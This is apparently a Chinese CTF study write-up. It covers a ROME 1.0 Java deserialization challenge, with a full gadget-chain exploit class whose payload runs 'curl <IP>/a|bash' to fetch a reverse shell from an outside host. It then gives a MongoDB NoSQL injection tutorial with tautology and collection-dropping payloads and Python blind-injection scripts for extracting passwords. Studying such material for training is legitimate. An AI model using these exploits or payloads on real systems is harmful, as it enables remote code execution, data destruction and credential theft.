rome1.0反序列化链调试见上面(第三周标题为[d3ctf2020]的内容)
当时参考的资料:
ROME反序列化分析 (c014.cn)
javassist使用全解析 - rickiyang - 博客园 (cnblogs.com)
https://xz.aliyun.com/t/6787#toc-8 (java反射入门)
https://developer.huawei.com/consumer/cn/forum/topic/0204473033987230107 (java反射使用)
(64条消息) java Runtime.getRuntime().exec 获取反弹shell_whatday的专栏-CSDN博客_exec反弹shell
exec 不用字符串数组反弹shell
拖入javaGUI反编译,找到控制器,读源码
public class MainController {
@GetMapping({"/hello"})
public String index() {
return "hello";
}
@PostMapping({"/hello"})
public String index(@RequestParam String baseStr) throws IOException, ClassNotFoundException {
if (baseStr.length() >= 1956)
return "too long";
byte[] decode = Base64.getDecoder().decode(baseStr);
ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(decode);
ObjectInputStream objectInputStream = new ObjectInputStream(byteArrayInputStream);
objectInputStream.readObject();
return "hello";
}
}
随后看到rome1.0想到反序列化,这里使用yoserial发现payload过长,通过阅读ROME反序列化分析 (c014.cn)了解原理准备手写
本地搭建题目环境:
docker build .;docker run -d -p 5144:8080 镜像id;
参考w彬大哥的话
本地搭建rome1.0环境:
开始分析
原来的rome1.0在yoserial这个工具中生成的利用链如下
TemplatesImpl.getOutputProperties()
NativeMethodAccessorImpl.invoke0(Method, Object, Object[])
NativeMethodAccessorImpl.invoke(Object, Object[])
DelegatingMethodAccessorImpl.invoke(Object, Object[])
Method.invoke(Object, Object...)
ToStringBean.toString(String) //5 这些序号有小到大表示调试的时候经过的函数
ToStringBean.toString() //4
ObjectBean.toString() //3
EqualsBean.beanHashCode() //2
ObjectBean.hashCode() //1
HashMap.hash(Object)
HashMap.readObject(ObjectInputStream)
之后就按照ROME反序列化分析 (c014.cn)不断的给赋值,或者缩短链子,但是最后仍然太长,有一种比较接近我们做法的非预期解是通过终极Java反序列化Payload缩小技术 | 4ra1n用javassit把eval方法重写一遍
payload
关于exec
进来到runtime().exec(“cmd”)的exec以后
无论是简单的"calc"或者是"/bin/sh -c echo 111 > 3.txt”,最后都是调用最上面那个exec,跟进一下
进入StringTokenizer
查看一下注释,大概是说会把空格之类的进行替换,根据杰哥的pdf,之后会借此转化为数组
跳出来
蓝色部分上面的for循环作用就是把字符串这些变成数组
processbuilder建立一个进程
进程start
然后进去,(会发现只是来到下面),一路调试下来,看到这个准备进去
进入create
这样就调了一下,明白了runtime.exec()的原理
这时候就有了另一种做法
因为|
>
<
这个在runtime.exec()会有问题(经过调试,他会在生成数组那个地方错误的解析我们的command)
所以可以考虑ProcessBuilder().start()
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.syndication.feed.impl.EqualsBean;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtConstructor;
import javax.xml.transform.Templates;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.Base64;
import java.util.HashMap;
import java.util.Hashtable;
public class exp {
public static void setFieldValue(Object obj,String fieldname,Object value)
throws Exception{
Field field = obj.getClass().getDeclaredField(fieldname);
field.setAccessible(true);
field.set(obj,value);
}
private static byte[] getTemplatesImpl(String cmd) {
try {
ClassPool pool = ClassPool.getDefault();
CtClass ctClass = pool.makeClass("Evil");
CtClass superClass = pool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet");
ctClass.setSuperclass(superClass);
CtConstructor constructor = ctClass.makeClassInitializer();
constructor.setBody(" try {\n" +
"String[] arrCmd = {\"bash\",\"-c\",\"\\\"curl 8.129.42.140:3307/a|bash\\\"\"};"+
"ProcessBuilder processBuilder = new ProcessBuilder(arrCmd);\n" +
"Process p = processBuilder.start();\n" +
" } catch (Exception ignored) {\n" +
" }");
byte[] bytes = ctClass.toBytecode();
ctClass.defrost();
return bytes;
} catch (Exception e) {
e.printStackTrace();
return new byte[]{};
}
}
public static void main(String[] args) throws Exception{
//TemplateImpl 动态加载字节码
byte[] code = getTemplatesImpl("calc");
// byte[] code = ClassPool.getDefault().get("com.HelloTemplatesImpl").toBytecode();
TemplatesImpl obj = new TemplatesImpl();
setFieldValue(obj,"_name","jiang");
setFieldValue(obj,"_class",null);
// setFieldValue(obj,"_tfactory",new TransformerFactoryImpl());
setFieldValue(obj,"_bytecodes",new byte[][]{code});
EqualsBean bean = new EqualsBean(String.class,"jiang");
HashMap map1 = new HashMap();
HashMap map2 = new HashMap();
map1.put("yy",bean);
map1.put("zZ",obj);
map2.put("zZ",bean);
map2.put("yy",obj);
Hashtable table = new Hashtable();
table.put(map1,"1");
table.put(map2,"2");
setFieldValue(bean,"_beanClass",Templates.class);
setFieldValue(bean,"_obj",obj);
//序列化
ByteArrayOutputStream baos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(baos);
oos.writeObject(table);
oos.close();
System.out.println(new String(Base64.getEncoder().encode(baos.toByteArray())));
//反序列化
ByteArrayInputStream bais = new ByteArrayInputStream(baos.toByteArray());
ObjectInputStream ois = new ObjectInputStream(bais);
ois.readObject();
ois.close();
}
}
然后再vps放个反弹shell为内容的a文件(也可以自己设置路由a等)
之后监听端口
发送payload
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-cGKCFEpH-1648002982651)(https://raw.githubusercontent.com/hmt38/abcd/main/image-20220317135749484.png)]
可以看到反弹shell了
无奈nss和自己本地起的docker环境有点问题,不过鉴于此题的精髓已经学会了(面试的时候会吹了,idea反弹了),故不深究
总结:
|
>
<
private static byte[] getTemplatesImpl(String cmd) {
try {
ClassPool pool = ClassPool.getDefault();
CtClass ctClass = pool.makeClass("Evil");//起一个好听的名字
CtClass superClass = pool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet");//固定
ctClass.setSuperclass(superClass);
CtConstructor constructor = ctClass.makeClassInitializer();
constructor.setBody(" try {\n" +
"String[] arrCmd = {\"bash\",\"-c\",\"\\\"curl 8.129.42.140:3307/a|bash\\\"\"};"+
"ProcessBuilder processBuilder = new ProcessBuilder(arrCmd);\n" +
"Process p = processBuilder.start();\n" +
" } catch (Exception ignored) {\n" +
" }");
//上面setBody自定义,其他都是固定的
byte[] bytes = ctClass.toBytecode();
ctClass.defrost();
return bytes;
} catch (Exception e) {
e.printStackTrace();
return new byte[]{};
}
}
然后只要new这个类就可以使用
学这个题之前要了解nosql注入和go的汇编
而学nosql注入前要了解mongoDB
MonDB的一些概念:
SQL术语/概念 | MongoDB术语/概念 | 解释/说明 |
---|---|---|
database | database | 数据库 |
table | collection //集合 | 数据库表/集合 |
row | document //文档 | 数据记录行/文档 |
column | field | 数据字段/域 |
index | index | 索引 |
table joins | 表连接,MongoDB不支持 | |
primary key | primary key | 主键,MongoDB自动将_id字段设置为主键 |
数据库类似mysql那种,注意一些用法:
show dbs //show databases;
db //select database();
use 某某数据库 //相当于使用数据库或者创建数据库
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-VbQqyUSM-1648002982652)(https://raw.githubusercontent.com/hmt38/abcd/main/image-20220317174602533.png)]
文档
文档是一组键值(key-value)对(即 BSON)。MongoDB 的文档不需要设置相同的字段,并且相同的字段不需要相同的数据类型,这与关系型数据库有很大的区别,也是 MongoDB 非常突出的特点。
{"site":"www.runoob.com", "name":"菜鸟教程"}
集合
集合就是 MongoDB 文档组,类似于表格。
集合存在于数据库中,集合没有固定的结构,这意味着你在对集合可以插入不同格式和类型的数据,但通常情况下我们插入集合的数据都会有一定的关联性。
比如,我们可以将以下不同数据结构的文档插入到集合中:
{"site":"www.baidu.com"}
{"site":"www.google.com","name":"Google"}
{"site":"www.runoob.com","name":"菜鸟教程","num":5}
接着是各种增删查改了
db的
use 数据库
db.dropDatabase()
db.createCollection(“thai”)
db.thai.drop()
文档的插入
MongoDB 使用 insert() 或 save() 方法向集合中插入文档,语法如下:
db.COLLECTION_NAME.insert(document)
或
db.COLLECTION_NAME.save(document)
3.2 版本之后新增了 db.collection.insertOne() 和 db.collection.insertMany()。
db.collection.insertOne() 用于向集合插入一个新文档,语法格式如下:
db.collection.insertOne(
,
{
writeConcern:
}
)
db.collection.insertMany() 用于向集合插入一个多个文档,语法格式如下:
db.collection.insertMany(
[ , , ... ],
{
writeConcern: ,
ordered:
}
)
MongoDB 查询文档
使用 find 方法来查询文档, find 方法以非结构化的方法来显示所有文档 需要以易读的方式来读取数据的话,可以使用 pretty 方法以格式化的方式来显示所有文档
db.collection.find(query, projection)
参数说明: query:可选, 使用查询操作符指定查询条件, 相当于 sql select 语句中的 where 子句 projection:可选, 使用投影操作符指定返回的键
MongoDB 与 mysql Where 语句的比较
操作 | 格式 | 范例 | RDBMS中的类似语句 |
---|---|---|---|
等于 | { } |
db.col.find({"by":"菜鸟教程"}).pretty() |
where by = '菜鸟教程' |
小于 | { |
db.col.find({"likes":{$lt:50}}).pretty() |
where likes < 50 |
小于或等于 | { |
db.col.find({"likes":{$lte:50}}).pretty() |
where likes <= 50 |
大于 | { |
db.col.find({"likes":{$gt:50}}).pretty() |
where likes > 50 |
大于或等于 | { |
db.col.find({"likes":{$gte:50}}).pretty() |
where likes >= 50 |
不等于 | { |
db.col.find({"likes":{$ne:50}}).pretty() |
where likes != 50 |
db.col.insert({title: 'MongoDB 教程',
description: 'MongoDB 是一个 Nosql 数据库',
by: '菜鸟教程',
url: 'http://www.runoob.com',
tags: ['mongodb', 'database', 'NoSQL'],
likes: 100
})
NoSQL 注入的分类
有两种 NoSQL 注入分类的方式:
第一种是按照语言的分类,可以分为:PHP 数组注入,JavaScript 注入和 Mongo Shell 拼接注入等等。
第二种是按照攻击机制分类,可以分为:重言式注入,联合查询注入,JavaScript 注入、盲注等,
这种 分类方式很像传统 SQL 注入的分类方式。
重言式注入
又称为永真式,此类攻击是在条件语句中注入代码,使生成的表达式判定结果永远为真,从而绕过认证 或访问机制。
联合查询注入
联合查询是一种众所周知的 SQL 注入技术,攻击者利用一个脆弱的参数去改变给定查询返回的数据集。 联合查询最常用的用法是绕过认证页面获取数据。
JavaScript 注入
MongoDB Server 支持 JavaScript,这使得在数据引擎进行复杂事务和查询成为可能,但是传递不干净 的用户输入到这些查询中可以注入任意的 JavaScript 代码,导致非法的数据获取或篡改。
盲注
当页面没有回显时,那么我们可以通过 $regex 正则表达式来达到和传统 SQL 注入中 substr() 函数 相同的功能,而且 NoSQL 用到的基本上都是布尔盲注。 下面我们便通过 PHP 和 Nodejs 来讲解 MongoDB 注入的利用方式。
环境搭建
如果是phpstudy的话无需官网下载直接自带拓展,去那里点击安装即可
测试demo
首先在 MongoDB 中选中 test 数据库,创建一个 users 集合并插入文档数据:
> use test
switched to db test
>
> db.createCollection('users')
{ "ok" : 1 }
>
> db.users.insert({username: 'admin', password: '123456'})
WriteResult({ "nInserted" : 1 })
> db.users.insert({username: 'whoami', password: '657260'})
WriteResult({ "nInserted" : 1 })
> db.users.insert({username: 'bunny', password: '964795'})
WriteResult({ "nInserted" : 1 })
> db.users.insert({username: 'bob', password: '965379'})
WriteResult({ "nInserted" : 1 })
>
正常写入数据库中有的username passwd 就通过了,如果写成下面这种的$ne
就会制造出永真式(与万能钥匙原理相同)
username[$ne]=1&password[$ne]=1
全部被查出来
原因是 这个进入到php中会变成这样子
array( 'username' => array('$ne' => 1), 'password' => array('$ne' => 1) )
进入到mongoDB就变成这样
db.users.find({'username':{$ne:1}, 'password':{$ne:1}})
对于 PHP 本身的特性而言,由于其松散的数组特性,导致如果我们发送 value=1 那么,也就是发送了 一个 value 的值为 1 的数据。如果发送 value[ n e ] = 1 则 P H P 会 将 其 转 换 为 数 组 v a l u e = a r r a y ( ne]=1 则 PHP 会将其转换为数组 value=array( ne]=1则PHP会将其转换为数组value=array(ne=>1) ,当数据到了进入 MongoDB 后,原来一个单一的 {“value”:1} 查询就变成 了一个 {“value”:{$ne:1} 条件查询。同样的,我们也可以使用下面这些作为 payload 进行攻击:
username[$ne]=&password[$ne]=
username[$gt]=&password[$gt]=
username[$gte]=&password[$gte]=
这种重言式注入的方式也是我们通常用来验证网站是否存在 NoSQL 注入的第一步。不仅是 $ne ,只要 可以构造用真条件就可以
联合查询注入
本地复现失败,
js注入
本地复现失败
db.users.find({ $where: "function() {if(this.username == ''||1) {return true;}})//' && this.password == '123456') {return true;}}" })
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-AhSlVU0H-1648002982656)(https://raw.githubusercontent.com/hmt38/abcd/main/image-20220318092805698.png)]
使用 Command 方法造成的注入
MongoDB Driver 一般都提供直接执行 Shell 命令的方法,这些方式一般是不推荐使用的,但难免有人 为了实现一些复杂的查询去使用。在 MongoDB 的服务器端可以通过 db.eval 方法来执行 JavaScript 脚本,如我们可以定义一个 JavaScript 函数,然后通过 db.eval 在服务器端来运行。
但是在 PHP 官网中就已经友情提醒了不要这样使用:
"print('Hello, $username!');"
] );
$r = $m->executeCommand( 'dramio', $cmd );
?>
还有人喜欢用 Command 去实现 MongoDB 的 distinct 方法,如下:
"db.users.distinct('username',{'username':'$username'})"
] );
$result = $manager->executeCommand('test.users', $cmd)->toArray();
$count = count($result);
if ($count > 0) {
foreach ($result as $user) {
$user = ((array)$user);
echo '====Login Success====
';
echo 'username:' . $user['username'] . '
';
echo 'password:' . $user['password'] . '
';
}
}
else{
echo 'Login Failed';
}
?>
这样都是很危险的,因为这个就相当于把 Mongo Shell 开放给了用户,如果此时构造下列 (堆叠注入的思路)
username=1'});db.users.drop();db.user.find({'username':'1
username=1'});db.users.insert({"username":"admin","password":123456"});db.users.
find({'username':'1
则将改变原本的查询语句造成注入。如果当前应用连接数据库的权限恰好很高,我们能干的事情就更多 了。
Nosql 盲注
重言式布尔盲注
先讲一下$regex
$regex
为查询中的模式匹配字符串提供正则表达式功能 。MongoDB使用具有UTF-8支持的Perl兼容正则表达式(即“ PCRE”)版本8.42。
要使用$regex
,请使用以下语法之一:
{ : { $regex: /pattern/, $options: '' } }
{ : { $regex: 'pattern', $options: '' } }
{ : { $regex: /pattern/ } }
在MongoDB中,您还可以使用正则表达式对象(即 /pattern/
)来指定正则表达式:
{ : /pattern/ }
有关特定语法使用的限制,请参见 $ regex与/ pattern /语法。
$options
以下内容
可用于正则表达式。
选项 | 描述 | 语法限制 |
---|---|---|
i |
不区分大小写,以匹配大小写。有关示例,请参见执行不区分大小写的正则表达式匹配。 | |
m |
对于包含锚点的模式(即^ 开始, $ 结束),请在每行的开头或结尾匹配具有多行值的字符串。如果没有此选项,这些锚点将在字符串的开头或结尾匹配。有关示例,请参见以指定模式开头的行的多行匹配。如果模式不包含锚点,或者字符串值不包含换行符(例如\n ),则该m 选项无效。 |
|
x |
“扩展”功能可以忽略模式中的所有空白字符,$regex 除非转义或包含在字符类中。此外,它会忽略中间的字符,包括未转义的井号/磅(# )字符和下一个新行,因此您可以在复杂模式中添加注释。这仅适用于数据字符;空格字符永远不会出现在图案的特殊字符序列中。该x 选项不影响VT字符(即代码11)的处理。 |
需要$regex 与$options 语法 |
s |
允许点字符(即. )匹配所有字符,包括换行符。有关示例,请参阅使用。点字符以匹配换行符。 |
总结:{
demo
';
echo "your password : ".$password;
echo '
';
$query = new MongoDB\Driver\Query(array(
'username' => $username,
'password' => $password
));
$result = $manager->executeQuery('test.users', $query)->toArray();
$count = count($result);
if ($count > 0) {
foreach ($result as $user) {
$user = ((array)$user);
echo '====Login Success====
';
echo 'username:' . $user['username'] . '
';
echo 'password:' . $user['password'] . '
';
}
}
else{
echo 'Login Failed';
}
?
可以使用如下代码测试passwd长度
username=admin&password[$regex]=.{4} // 登录成功
username=admin&password[$regex]=.{5} // 登录成功
username=admin&password[$regex]=.{6} // 登录成功
username=admin&password[$regex]=.{7} // 登录失败
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-bjbTxHs4-1648002982657)(https://raw.githubusercontent.com/hmt38/abcd/main/image-20220318111211949.png)]
这里复现成功了
求出长度以后可以盲注
username=admin&password[$regex]=1.{5}
username=admin&password[$regex]=12.{4}
username=admin&password[$regex]=123.{3}
username=admin&password[$regex]=1234.{2}
username=admin&password[$regex]=12345.*
username=admin&password[$regex]=123456
或
username=admin&password[$regex]=^1
username=admin&password[$regex]=^12
username=admin&password[$regex]=^123
username=admin&password[$regex]=^1234
username=admin&password[$regex]=^12345
username=admin&password[$regex]=^123456
据此可以做盲注脚本
import requests
import string
password = ''
url = 'http://192.168.226.148/index.php'
while True:
for c in string.printable:
if c not in ['*', '+', '.', '?', '|', '#', '&', '$']:
# When the method is GET
get_payload = '?username=admin&password[$regex]=^%s' % (password + c)
# When the method is POST
post_payload = {
"username": "admin",
"password[$regex]": '^' + password + c
}
# When the method is POST with JSON
json_payload = """{"username":"admin", "password":{"$regex":"^%s"}}""" % (password + c)
#headers = {'Content-Type': 'application/json'}
#r = requests.post(url=url, headers=headers, data=json_payload) # 简单发送 json
r = requests.post(url=url, data=post_payload)
if 'Login Success' in r.text:
print("[+] %s" % (password + c))
password += c
js盲注
import requests
url = "http://192.168.219.130/"
headers = {
"Content-Type": "application/x-www-form-urlencoded"
}
strings = "abcdefghijklmnopqrstuvwxyz1234567890!@#$%^&*()"
res = ""
for i in range(len(res)+1,30):
if len(res) == i-1:
for c in strings:
data = {
"username": "admin'&&this.password.substr(-" + str(i) + ")=='" + str(c + res) + "') {return true;}})//",
"password": "123456"
}
r = requests.post(url=url,headers=headers, data=data)
if "Login Success" in r.text:
res = c + res
print("[+] " + res)
break
else:
print("[-] Failed")
break
MongoDB 2.4 之前,通过 $where 操作符可以访问到 Mongo Shell 中的 全局函数和属性,如 db ,也就是说可以在自定义的函数里获取数据库的所有信息。
故有些版本可能复现不了